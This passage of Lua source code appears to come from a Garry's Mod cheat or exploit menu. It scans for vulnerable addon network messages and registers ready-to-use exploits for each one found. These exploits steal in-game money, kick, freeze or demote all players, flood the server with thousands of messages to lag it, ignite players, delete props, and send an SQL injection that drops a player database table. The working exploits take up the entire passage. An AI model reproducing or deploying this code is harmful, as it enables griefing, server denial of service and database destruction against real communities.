6271TextEntry:SetSize( 380, 30 )
6272TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6273TextEntry:SetText( "1" )
6274TextEntry.OnEnter = function( self )
6275surface.PlaySound("garrysmod/ui_click.wav")
6276ECNotify("Starting")
6277net.Start("race_accept")
6278net.WriteInt(tonumber(self:GetValue()), 32)
6279net.SendToServer()
6280end
6281end )
6282end
6283
6284status = ValidNetString("NLR_SPAWN")
6285if (status) then
6286ECPrint("Found Exploit: Respawn #3 [NLR_SPAWN]")
6287addExploit( "79","Respawn #3", "instant revival", function()
6288surface.PlaySound("garrysmod/ui_click.wav")
6289ECNotify("Starting")
6290net.Start("NLR_SPAWN")
6291net.WriteEntity(LocalPlayer())
6292net.SendToServer()
6293end )
6294end
6295
6296status = ValidNetString("Kun_ZiptieStruggle")
6297if (status) then
6298ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
6299addExploit( "80","Break Handcuffs", "Instantly breaks the handcuffs", function()
6300surface.PlaySound("garrysmod/ui_click.wav")
6301ECNotify("Starting")
6302for i=0,30 do
6303net.Start("Kun_ZiptieStruggle")
6304net.SendToServer()
6305end
6306end )
6307end
6308
6309status = ValidNetString("JB_Votekick")
6310if (status) then
6311ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
6312addExploit( "81","Abuses Jailbreak Votekick", "kick all players", function()
6313surface.PlaySound("garrysmod/ui_click.wav")
6314ECNotify("Starting")
6315for k,v in pairs(player.GetAll()) do
6316net.Start("JB_Votekick")
6317net.WriteEntity(v)
6318net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
6319net.SendToServer()
6320end
6321end )
6322end
6323
6324status = ValidNetString("Letthisdudeout")
6325if (status) then
6326ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
6327addExploit( "82","ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
6328surface.PlaySound("garrysmod/ui_click.wav")
6329ECNotify("Starting")
6330net.Start("Letthisdudeout")
6331net.WriteEntity(LocalPlayer())
6332net.SendToServer()
6333end )
6334end
6335
6336status = ValidNetString("opr_withdraw")
6337if (status) then
6338ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
6339addExploit( "83","Lagger #14", "discovered by Leith", function()
6340surface.PlaySound("garrysmod/ui_click.wav")
6341ECNotify("Starting")
6342timer.Create("lagger14", 0,0, function()
6343for i = 1, 1000 do
6344net.Start("opr_withdraw",true)
6345net.WriteEntity(LocalPlayer())
6346net.SendToServer()
6347end
6348end )
6349end )
6350end
6351
6352status = ValidNetString("NC_GetNameChange")
6353if (status) then
6354ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
6355addExploit( "84","Change all names", "allows you to change the rp names of all players", function()
6356surface.PlaySound("garrysmod/ui_click.wav")
6357inputFrameExists = true
6358inputFrame = vgui.Create( "DFrame" )
6359inputFrame:SetTitle("Enter the name")
6360inputFrame:SetSize( 400, 75 )
6361inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
6362inputFrame:SetDraggable(false)
6363inputFrame:ShowCloseButton(true)
6364inputFrame:MakePopup()
6365inputFrame.Paint = function( self, w, h )
6366draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
6367end
6368local TextEntry = vgui.Create( "DTextEntry", inputFrame )
6369TextEntry:SetSize( 380, 30 )
6370TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
6371TextEntry:SetText( "AHAHAHAHAH" )
6372TextEntry.OnEnter = function( self )
6373surface.PlaySound("garrysmod/ui_click.wav")
6374ECNotify("Starting")
6375for k, v in pairs( player.GetAll() ) do
6376net.Start("NC_GetNameChange")
6377net.WriteEntity(v)
6378net.WriteString( (self:GetValue()) )
6379net.WriteString( (self:GetValue()) )
6380net.SendToServer()
6381end
6382end
6383end )
6384end
6385
6386status = ValidNetString("revival_revive_accept")
6387if (status) then
6388ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
6389addExploit( "85","Reanimation #2", "instant revival, discovered by Leith", function()
6390surface.PlaySound("garrysmod/ui_click.wav")
6391if !timer.Exists( "exploit_revive" ) then
6392ECNotify( "Enabled" )
6393timer.Create( "exploit_revive", 0.5, 0, function()
6394if !LocalPlayer():Alive() then
6395net.Start("revival_revive_accept")
6396net.SendToServer()
6397end
6398end )
6399else
6400timer.Remove( "exploit_revive" )
6401ECNotify( "Disabled" )
6402end
6403end )
6404end
6405
6406status = ValidNetString("join_disconnect")
6407if (status) then
6408ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
6409addExploit( "86","Lagger #15", "b1g lags my duder", function()
6410surface.PlaySound("garrysmod/ui_click.wav")
6411ECNotify("Starting")
6412if not timer.Exists("lagger15") then
6413timer.Create("lagger15", 0.5, 0, function()
6414for i = 1, 3000 do
6415net.Start("join_disconnect",true)
6416net.WriteEntity(table.Random(player.GetAll()))
6417net.SendToServer()
6418end
6419end)
6420else
6421timer.Remove("lagger15")
6422ECNotify("Stopping")
6423end
6424end )
6425end
6426
6427status = ValidNetString("BuyFirstTovar")
6428if (status) then
6429ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
6430addExploit( "87","Free Physgun", "get physgun", function()
6431surface.PlaySound("garrysmod/ui_click.wav")
6432ECNotify("Take physgun")
6433net.Start("BuyFirstTovar")
6434net.WriteString("0")
6435net.SendToServer()
6436end )
6437end
6438
6439status = ValidNetString("BuySecondTovar")
6440if (status) then
6441ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
6442addExploit( "88","Free Gravitygun", "get gravitygun", function()
6443surface.PlaySound("garrysmod/ui_click.wav")
6444ECNotify("Take gravitygun")
6445net.Start("BuySecondTovar")
6446net.WriteString("0")
6447net.SendToServer()
6448end )
6449end
6450
6451status = ValidNetString("MONEY_SYSTEM_GetWeapons")
6452if (status) then
6453ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
6454addExploit( "89","Give Weapons #2", "get weapons", function()
6455surface.PlaySound("garrysmod/ui_click.wav")
6456ECNotify("Starting")
6457for i = 1,32 do
6458net.Start("MONEY_SYSTEM_GetWeapons")
6459net.WriteInt(i, 8)
6460net.SendToServer()
6461end
6462end )
6463end
6464
6465status = ValidNetString("MCon_Demote_ToServer")
6466if (status) then
6467ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
6468addExploit( "90","Demote All Players #2", "demote all players", function()
6469surface.PlaySound("garrysmod/ui_click.wav")
6470ECNotify("Starting")
6471for k,v in pairs(player.GetAll()) do
6472net.Start("MCon_Demote_ToServer")
6473net.WriteString(v:SteamID())
6474net.SendToServer()
6475end
6476end )
6477end
6478
6479status = ValidNetString("withdrawMoney")
6480if (status) then
6481ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
6482addExploit( "91","Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
6483surface.PlaySound("garrysmod/ui_click.wav")
6484ECNotify("Starting")
6485for k, v in pairs(ents.GetAll()) do
6486net.Start("withdrawMoney")
6487net.WriteEntity(v)
6488net.SendToServer()
6489end
6490end )
6491end
6492
6493status = ValidNetString("withdrawMoney")
6494if (status) then
6495ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
6496addExploit( "92","Lagger #16", "discovered by Leith", function()
6497surface.PlaySound("garrysmod/ui_click.wav")
6498ECNotify("Starting")
6499timer.Create("lagger16", 0, 0, function()
6500for i=1,1000 do
6501net.Start("withdrawMoney",true)
6502net.WriteEntity(LocalPlayer())
6503net.SendToServer()
6504end
6505end )
6506end )
6507end
6508
6509status = ValidNetString("SyncPrinterButtons76561198027292625")
6510if (status) then
6511ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
6512addExploit( "93","Steal All Monies #4", "withdraw money from all printers", function()
6513surface.PlaySound("garrysmod/ui_click.wav")
6514ECNotify("Starting")
6515for k, v in pairs(ents.GetAll()) do
6516net.Start("SyncPrinterButtons76561198027292625")
6517net.WriteEntity(v)
6518net.WriteUInt(2, 4)
6519net.SendToServer()
6520end
6521end )
6522end
6523
6524status = ValidNetString("gPrinters.retrieveMoney")
6525if (status) then
6526ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
6527addExploit( "94","Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
6528surface.PlaySound("garrysmod/ui_click.wav")
6529ECNotify("Starting")
6530for k, v in pairs(ents.GetAll()) do
6531net.Start("gPrinters.retrieveMoney")
6532net.WriteEntity(v)
6533net.SendToServer()
6534end
6535end )
6536end
6537
6538status = ValidNetString("gPrinters.retrieveMoney")
6539if (status) then
6540ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
6541addExploit( "95","Lagger #17", "discovered by Leith", function()
6542surface.PlaySound("garrysmod/ui_click.wav")
6543ECNotify("Starting")
6544timer.Create("lagger17", 0, 0, function()
6545for i=1,1000 do
6546net.Start("gPrinters.retrieveMoney",true)
6547net.WriteEntity(LocalPlayer())
6548net.SendToServer()
6549end
6550end )
6551end )
6552end
6553
6554status = ValidNetString("NGII_TakeMoney")
6555if (status) then
6556ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
6557addExploit( "96","Steal All Monies #6", "withdraw money from all printers", function()
6558surface.PlaySound("garrysmod/ui_click.wav")
6559ECNotify("Starting")
6560for k, v in pairs(ents.GetAll()) do
6561net.Start("NGII_TakeMoney")
6562net.WriteEntity(v)
6563net.WriteEntity(LocalPlayer())
6564net.SendToServer()
6565end
6566end )
6567end
6568
6569status = ValidNetString("money_clicker_withdraw")
6570if (status) then
6571ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
6572addExploit( "97","Lagger #18", "discovered by Leith", function()
6573surface.PlaySound("garrysmod/ui_click.wav")
6574ECNotify("Starting")
6575timer.Create("lagger18", 0, 0, function()
6576for i=1,1000 do
6577net.Start("money_clicker_withdraw",true)
6578net.WriteEntity(LocalPlayer())
6579net.SendToServer()
6580end
6581end )
6582end )
6583end
6584
6585status = ValidNetString("opr_withdraw")
6586if (status) then
6587ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
6588addExploit( "98","Steal All Monies #7", "withdraw money from all printers", function()
6589surface.PlaySound("garrysmod/ui_click.wav")
6590ECNotify("Starting")
6591for k, v in pairs(ents.GetAll()) do
6592net.Start("opr_withdraw")
6593net.WriteEntity(v)
6594net.SendToServer()
6595end
6596end )
6597end
6598
6599status = ValidNetString("NET_DoPrinterAction")
6600if (status) then
6601ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
6602addExploit( "99","Steal All Monies #8", "withdraw money from all printers", function()
6603surface.PlaySound("garrysmod/ui_click.wav")
6604ECNotify("Starting")
6605for k, v in pairs(ents.GetAll()) do
6606if v:GetClass():find("print") then
6607net.Start("NET_DoPrinterAction")
6608net.WriteEntity(LocalPlayer())
6609net.WriteEntity(v)
6610net.WriteInt(2,16)
6611net.SendToServer()
6612end
6613end
6614end )
6615end
6616
6617status = ValidNetString("tickbooksendfine")
6618if (status) then
6619ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
6620addExploit( "100","Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
6621surface.PlaySound("garrysmod/ui_click.wav")
6622ECNotify("Starting")
6623local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
6624for k, v in pairs(player.GetAll()) do
6625if v != LocalPlayer() then
6626net.Start("tickbooksendfine")
6627net.WriteString(v:SteamID())
6628net.WriteTable(reasonstable)
6629net.WriteDouble(3000, 32)
6630net.SendToServer()
6631end
6632end
6633end )
6634end
6635
6636status = ValidNetString("SyncPrinterButtons16690")
6637if (status) then
6638ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
6639addExploit( "101","Steal All Monies #9", "withdraw money from all printers", function()
6640surface.PlaySound("garrysmod/ui_click.wav")
6641ECNotify("Starting")
6642for k, v in pairs(ents.GetAll()) do
6643if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
6644net.Start("SyncPrinterButtons16690")
6645net.WriteEntity(v)
6646net.WriteUInt(2, 4)
6647net.SendToServer()
6648end
6649end
6650end)
6651end
6652
6653status = ValidNetString("withdrawp")
6654if (status) then
6655ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
6656addExploit( "102","Steal All Monies #10", "withdraw money from all printers", function()
6657surface.PlaySound("garrysmod/ui_click.wav")
6658ECNotify("Starting")
6659for k,v in pairs(ents.FindByClass("derma_printer")) do
6660net.Start("withdrawp")
6661net.WriteEntity(v)
6662net.SendToServer()
6663end
6664end)
6665end
6666
6667status = ValidNetString("withdrawp")
6668if (status) then
6669ECPrint("Found Exploit: Lagger #19 [withdrawp]")
6670addExploit( "103","Lagger #19", "discovered by Leith", function()
6671surface.PlaySound("garrysmod/ui_click.wav")
6672ECNotify("Starting")
6673timer.Create("lagger19", 0, 0, function()
6674for i=1,1000 do
6675net.Start("withdrawp",true)
6676net.WriteEntity(LocalPlayer())
6677net.SendToServer()
6678end
6679end )
6680end )
6681end
6682
6683status = ValidNetString("DarkRP_SS_Gamble")
6684if (status) then
6685ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
6686addExploit( "104","Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
6687surface.PlaySound("garrysmod/ui_click.wav")
6688ECNotify("Starting")
6689net.Start("DarkRP_SS_Gamble")
6690net.WriteInt(99999, 32)
6691net.WriteInt(1, 32)
6692net.WriteInt(0, 32)
6693net.WriteInt(0, 32)
6694net.WriteInt(1, 32)
6695net.SendToServer()
6696end )
6697end
6698
6699status = ValidNetString("PCAdd")
6700if (status) then
6701ECPrint("Found Exploit: Delete Promocode [PCAdd]")
6702addExploit( "105","Delete Promocode", "delete all promocodes", function()
6703surface.PlaySound("garrysmod/ui_click.wav")
6704ECNotify("Starting")
6705net.Start("PCAdd")
6706net.WriteString("alahman")
6707net.WriteString("300000000")
6708net.SendToServer()
6709timer.Simple(3,function()
6710net.Start("ActivatePC")
6711net.WriteString("alahman")
6712net.SendToServer()
6713net.Start("PCDelAll")
6714net.SendToServer()
6715end )
6716end )
6717end
6718
6719status = ValidNetString("viv_hl2rp_disp_message")
6720if (status) then
6721ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
6722addExploit( "106","HL2 Disp Message", "hl2 voice commands", function()
6723surface.PlaySound("garrysmod/ui_click.wav")
6724ECNotify("Starting")
6725for name, command in pairs (dispatchCommands) do
6726net.Start("viv_hl2rp_disp_message")
6727net.WriteString(command)
6728net.SendToServer()
6729end
6730end )
6731end
6732
6733status = ValidNetString("Kun_SellDrug")
6734if (status) then
6735ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
6736addExploit( "107","Free Money #4", "get monies", function()
6737surface.PlaySound("garrysmod/ui_click.wav")
6738if !timer.Exists( "freemoney4" ) then
6739ECNotify("Starting")
6740timer.Create( "freemoney4", 0, 0, function()
6741for i=1,1000 do
6742net.Start("Kun_SellDrug")
6743net.WriteString("mushroom")
6744net.SendToServer()
6745end
6746end)
6747else
6748timer.Remove( "freemoney4" )
6749ECNotify("Stopping")
6750end
6751end )
6752end
6753
6754status = ValidNetString("net_PSUnBoxServer")
6755if (status) then
6756ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
6757addExploit( "108","Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
6758surface.PlaySound("garrysmod/ui_click.wav")
6759ECNotify("Starting")
6760for k,v in pairs(player.GetAll()) do
6761local i = 0
6762for k2,v2 in pairs(PS.Items) do
6763if !v:PS_HasItem(v2.ID) then
6764timer.Simple(k*i*1.7,function()
6765net.Start("net_PSUnBoxServer")
6766net.WriteEntity(v)
6767net.WriteString(v2.ID)
6768net.SendToServer()
6769end)
6770i = i + 1
6771end
6772end
6773end
6774end )
6775end
6776
6777status = ValidNetString("pplay_sendtable")
6778if (status) then
6779ECPrint("Found Exploit: ? Fuck the SQL database ? [pplay_sendtable]")
6780addExploit( "109","? Fuck the SQL database ?", "fuck all", function()
6781surface.PlaySound("garrysmod/ui_click.wav")
6782ECNotify("Starting")
6783local tbl = {}
6784tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
6785tbl.ply = LocalPlayer()
6786net.Start("pplay_sendtable")
6787net.WriteTable(tbl)
6788net.SendToServer()
6789end )
6790end
6791
6792status = ValidNetString("75_plus_win")
6793if (status) then
6794ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
6795addExploit( "110","Free Money #5", "get money", function()
6796surface.PlaySound("garrysmod/ui_click.wav")
6797ECNotify("Starting")
6798net.Start("75_plus_win")
6799net.WriteString("99999999")
6800net.WriteEntity(LocalPlayer())
6801net.SendToServer()
6802end )
6803end
6804
6805status = ValidNetString("ATMDepositMoney")
6806if (status) then
6807ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
6808addExploit( "111","Free Money #6", "an exploit in 'ATM'", function()
6809surface.PlaySound("garrysmod/ui_click.wav")
6810ECNotify("Starting")
6811net.Start("ATMDepositMoney")
6812net.WriteFloat(-9999999)
6813net.SendToServer()
6814end )
6815end
6816
6817status = ValidNetString("SellMinerals")
6818if (status) then
6819ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
6820addExploit( "112","Free Money #7", "an exploit in 'eMining'", function()
6821surface.PlaySound("garrysmod/ui_click.wav")
6822ECNotify("Starting")
6823for k,v in pairs(SkillDB) do
6824if not ( v.iSkill == true ) then
6825net.Start("Upgrade")
6826net.WriteTable( { LuaName = v.LuaName, Amount = -9999999 } )
6827net.SendToServer()
6828net.Start("SellMinerals")
6829net.WriteTable({ Target = LocalPlayer() })
6830net.SendToServer()
6831end
6832end
6833end )
6834end
6835
6836status = ValidNetString("TakeBetMoney")
6837if (status) then
6838ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
6839addExploit( "113","Free Money #8", "get money", function()
6840surface.PlaySound("garrysmod/ui_click.wav")
6841ECNotify("Starting")
6842net.Start("TakeBetMoney")
6843net.WriteTable({1e333333 , 1e333333})
6844net.SendToServer()
6845end )
6846end
6847
6848status = ValidNetString("Kun_SellOil")
6849if (status) then
6850ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
6851addExploit( "114","Free Money #9", "get money", function()
6852surface.PlaySound("garrysmod/ui_click.wav")
6853ECNotify("Starting")
6854for k,v in pairs(ents.GetAll()) do
6855net.Start("Kun_SellOil")
6856net.WriteEntity(v)
6857net.SendToServer()
6858end
6859end )
6860end
6861
6862status = ValidNetString("DepositMoney")
6863if (status) then
6864ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
6865addExploit( "115","Free Money #10", "get money", function()
6866surface.PlaySound("garrysmod/ui_click.wav")
6867ECNotify("Starting")
6868net.Start("DepositMoney")
6869for k,v in pairs(ents.GetAll()) do
6870net.WriteEntity(v)
6871net.WriteString(-100000000 )
6872net.WriteEntity(LocalPlayer())
6873net.SendToServer()
6874end
6875end )
6876end
6877
6878status = ValidNetString("NET_SS_DoBuyTakeoff")
6879if (status) then
6880ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
6881addExploit( "116","Free Money #11", "get money", function()
6882surface.PlaySound("garrysmod/ui_click.wav")
6883ECNotify("Starting")
6884net.Start("NET_SS_DoBuyTakeoff",true)
6885net.WriteEntity(LocalPlayer())
6886net.WriteEntity(table.Random(player.GetAll()))
6887net.WriteTable({})
6888net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
6889net.SendToServer()
6890end )
6891end
6892
6893status = ValidNetString("NET_EcSetTax")
6894if (status) then
6895ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
6896addExploit( "117","Free Money #12", "get money", function()
6897surface.PlaySound("garrysmod/ui_click.wav")
6898ECNotify("Starting")
6899net.Start("NET_EcSetTax")
6900net.WriteInt(-9999999999, 16)
6901net.SendToServer()
6902end )
6903end
6904
6905status = ValidNetString("RP_Accept_Fine")
6906if (status) then
6907ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
6908addExploit( "118","Free Money #13", "get money", function()
6909surface.PlaySound("garrysmod/ui_click.wav")
6910ECNotify("Starting")
6911for k,v in pairs(player.GetAll())do
6912net.Start("RP_Accept_Fine")
6913net.WriteString(v:Nick())
6914net.WriteDouble(-999999999999)
6915net.SendToServer()
6916end
6917end )
6918end
6919
6920status = ValidNetString("drugseffect_remove")
6921if (status) then
6922ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
6923addExploit( "119","Remove Weapons", "remove all weapons", function()
6924surface.PlaySound("garrysmod/ui_click.wav")
6925ECNotify("Starting")
6926net.Start("drugseffect_remove")
6927net.SendToServer()
6928end )
6929end
6930
6931status = ValidNetString("drugs_money")
6932if (status) then
6933ECPrint("Found Exploit: Remove Money [drugs_money]")
6934addExploit( "120","Remove Money", "remove all money", function()
6935surface.PlaySound("garrysmod/ui_click.wav")
6936ECNotify("Starting")
6937net.Start("drugs_money")
6938net.SendToServer()
6939end )
6940end
6941
6942status = ValidNetString("CRAFTINGMOD_SHOP")
6943if (status) then
6944ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
6945addExploit( "121","Free Money #14", "an exploit in 'crafting mod'", function()
6946surface.PlaySound("garrysmod/ui_click.wav")
6947ECNotify("Starting")
6948net.Start("CRAFTINGMOD_SHOP")
6949net.WriteTable({
6950BUY = -9999999;
6951type = 1
6952})
6953net.WriteInt(1,16)
6954net.SendToServer()
6955end )
6956end
6957
6958status = ValidNetString("drugs_ignite")
6959if (status) then
6960ECPrint("Found Exploit: Fire Players [drugs_ignite]")
6961addExploit( "122","Fire Players", "", function()
6962surface.PlaySound("garrysmod/ui_click.wav")
6963ECNotify("Starting")
6964net.Start("drugs_ignite")
6965net.WriteString("player")
6966net.SendToServer()
6967end )
6968end
6969
6970status = ValidNetString("drugs_ignite")
6971if (status) then
6972ECPrint("Found Exploit: Fire Props [drugs_ignite]")
6973addExploit( "123","Fire Props", "", function()
6974surface.PlaySound("garrysmod/ui_click.wav")
6975ECNotify("Starting")
6976net.Start("drugs_ignite")
6977net.WriteString("prop_physics")
6978net.SendToServer()
6979end )
6980end
6981
6982status = ValidNetString("drugseffect_hpremove")
6983if (status) then
6984ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
6985addExploit( "124","Change HP", "", function()
6986surface.PlaySound("garrysmod/ui_click.wav")
6987ECNotify("Starting")
6988net.Start("drugseffect_hpremove")
6989net.WriteString(99999)
6990net.SendToServer()
6991end )
6992end
6993
6994status = ValidNetString("drugs_text")
6995if (status) then
6996ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
6997addExploit( "125","Delete All Props #2", "", function()
6998surface.PlaySound("garrysmod/ui_click.wav")
6999ECNotify("Starting")
7000net.Start("drugs_text")
7001net.WriteString("prop_physics")
7002net.SendToServer()
7003end )
7004end
7005
7006status = ValidNetString("drugs_give")
7007if (status) then
7008ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
7009addExploit( "126","Give Everyone RPG", "", function()
7010surface.PlaySound("garrysmod/ui_click.wav")
7011ECNotify("Starting")
7012net.Start("drugs_give")
7013net.WriteString("weapon_rpg")
7014net.SendToServer()
7015end )
7016end
7017
7018status = ValidNetString("drugs_text")
7019if (status) then
7020ECPrint("Found Exploit: Remove Water [drugs_text]")
7021addExploit( "127","Remove Water", "", function()
7022surface.PlaySound("garrysmod/ui_click.wav")
7023ECNotify("Starting")
7024net.Start("drugs_text")
7025net.WriteString("func_water_analog")
7026net.SendToServer()
7027end )
7028end
7029
7030status = ValidNetString("drugs_effect")
7031if (status) then
7032local eye = LocalPlayer():GetEyeTrace().Entity
7033local send = "del|"..eye:EntIndex()
7034ECPrint("Found Exploit: Remove looking at [drugs_effect]")
7035addExploit( "128","Remove looking at", "", function()
7036surface.PlaySound("garrysmod/ui_click.wav")
7037ECNotify("Starting")
7038net.Start("drugs_effect")
7039net.WriteString(send)
7040net.SendToServer()
7041end )
7042end
7043
7044status = ValidNetString("RecKickAFKer")
7045if (status) then
7046ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
7047addExploit( "129","Kick Everyone #2", "kick all players", function()
7048surface.PlaySound("garrysmod/ui_click.wav")
7049ECNotify("Starting")
7050for k, v in pairs( player.GetAll() ) do
7051net.Start("RecKickAFKer")
7052net.WriteEntity(v)
7053net.SendToServer()
7054end
7055end )
7056end
7057
7058status = ValidNetString("GMBG:PickupItem")
7059if (status) then
7060ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
7061addExploit( "130","Loot Items", "", function()
7062surface.PlaySound("garrysmod/ui_click.wav")
7063ECNotify("Starting")
7064for k, v in pairs(ents.GetAll()) do
7065if v:GetClass() == "item_loot" then
7066net.Start("GMBG:PickupItem")
7067net.WriteEntity(v)
7068net.SendToServer()
7069net.Start("GMBG:PickupItem")
7070net.WriteEntity(v)
7071net.SendToServer()
7072net.Start("GMBG:PickupItem")
7073net.WriteEntity(v)
7074net.SendToServer()
7075net.Start("GMBG:PickupItem")
7076net.WriteEntity(v)
7077net.SendToServer()
7078net.Start("GMBG:PickupItem")
7079net.WriteEntity(v)
7080net.SendToServer()
7081net.Start("GMBG:PickupItem")
7082net.WriteEntity(v)
7083net.SendToServer()
7084end
7085end
7086end )
7087end
7088
7089status = ValidNetString("plyWarning")
7090if (status) then
7091ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
7092addExploit( "131","Kick Everyone #3", "kick all players", function()
7093surface.PlaySound("garrysmod/ui_click.wav")
7094ECNotify("Starting")
7095for k, v in pairs( player.GetAll() ) do
7096net.Start('plyWarning')
7097net.WriteEntity(v)
7098net.WriteString('You have to select a player before doing a action.')
7099net.SendToServer()
7100end
7101end )
7102end
7103
7104status = ValidNetString("NLR.ActionPlayer")
7105if (status) then
7106ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
7107addExploit( "132","Freeze Everyone", "", function()
7108surface.PlaySound("garrysmod/ui_click.wav")
7109ECNotify("Starting")
7110for k, v in pairs( player.GetAll() ) do
7111net.Start("NLR.ActionPlayer")
7112net.WriteEntity(v)
7113net.SendToServer()
7114end
7115end )
7116end
7117
7118status = ValidNetString("kart_sell")
7119if (status) then
7120ECPrint("Found Exploit: Free Money #15 [kart_sell]")
7121addExploit( "133","Free Money #15", "get money", function()
7122surface.PlaySound("garrysmod/ui_click.wav")
7123ECNotify("Starting")
7124for i=1, 300 do
7125net.Start("kart_sell")
7126net.WriteString("sw_gokart")
7127net.SendToServer()
7128end
7129end )
7130end
7131
7132status = ValidNetString("ClickerAddToPoints")
7133if (status) then
7134ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
7135addExploit( "134","Free Points", "", function()
7136surface.PlaySound("garrysmod/ui_click.wav")
7137ECNotify("Starting")
7138net.Start("ClickerAddToPoints")
7139net.WriteInt(99999999, 32)
7140net.SendToServer()
7141end )
7142end
7143
7144status = ValidNetString("bodyman_model_change")
7145if (status) then
7146ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
7147addExploit( "135","Body Groups", "constantly changes your appearance", function()
7148surface.PlaySound("garrysmod/ui_click.wav")
7149ECNotify("Starting")
7150local PM = 1
7151local SK = 1
7152local BG = 1
7153local HN = 1
7154local TS = 1
7155local GL = 1
7156local LG = 1
7157if !timer.Exists( "bodygroups" ) then
7158timer.Create("bodygroups", 0, 0, function()
7159PlayerModels = {0,1,2,3,4,5,6}
7160Torso = {0,1,2,3,4,5,6,7,8,9,10}
7161Legs = {0,1,2,3,4,5,6}
7162Hands = {0,1,2}
7163Glasses = {0,1}
7164Skins = {0,1,2,3,4,5,6,7,8,9,10}
7165PM = PM+1
7166TS = TS+1
7167LG = LG+1
7168HN = HN+1
7169GL = GL+1
7170SK = SK+1
7171if (PM>#PlayerModels) then PM=1 end
7172if (SK>#Skins) then SK=1 end
7173if (HN>#Hands) then HN=1 end
7174if (TS>#Torso) then TS=1 end
7175if (GL>#Glasses) then GL=1 end
7176if (LG>#Legs) then LG=1 end
7177net.Start("bodyman_model_change")
7178net.WriteInt(PlayerModels[PM], 10 )
7179net.SendToServer()
7180net.Start("bodygroups_change")
7181net.WriteTable( { 1, Torso[TS] } )
7182net.SendToServer()
7183net.Start("bodygroups_change")
7184net.WriteTable( { 2, Legs[LG] } )
7185net.SendToServer()
7186net.Start("bodygroups_change")
7187net.WriteTable( { 3, Hands[HN] } )
7188net.SendToServer()
7189net.Start("bodygroups_change")
7190net.WriteTable( { 4, Glasses[GL] } )
7191net.SendToServer()
7192end )
7193else
7194timer.Remove("bodygroups")
7195ECNotify("Stopping")
7196end
7197end )
7198end
7199
7200status = ValidNetString("SendMoney")
7201if (status) then
7202ECPrint("Found Exploit: Free Money #16 [SendMoney]")
7203addExploit( "136","Free Money #16", "get money", function()
7204surface.PlaySound("garrysmod/ui_click.wav")
7205ECNotify("Starting")
7206hook.Remove( "HUDPaint", "skhdsakjl")
7207net.Start("SendMoney")
7208net.WriteEntity(LocalPlayer())
7209net.WriteEntity(LocalPlayer())
7210net.WriteEntity(LocalPlayer())
7211net.WriteString("-99999999")
7212net.SendToServer()
7213end )
7214end
7215
7216status = ValidNetString("BailOut")
7217if (status) then
7218ECPrint("Found Exploit: Free Money #17 [BailOut]")
7219addExploit( "137","Free Money #17", "", function()
7220surface.PlaySound("garrysmod/ui_click.wav")
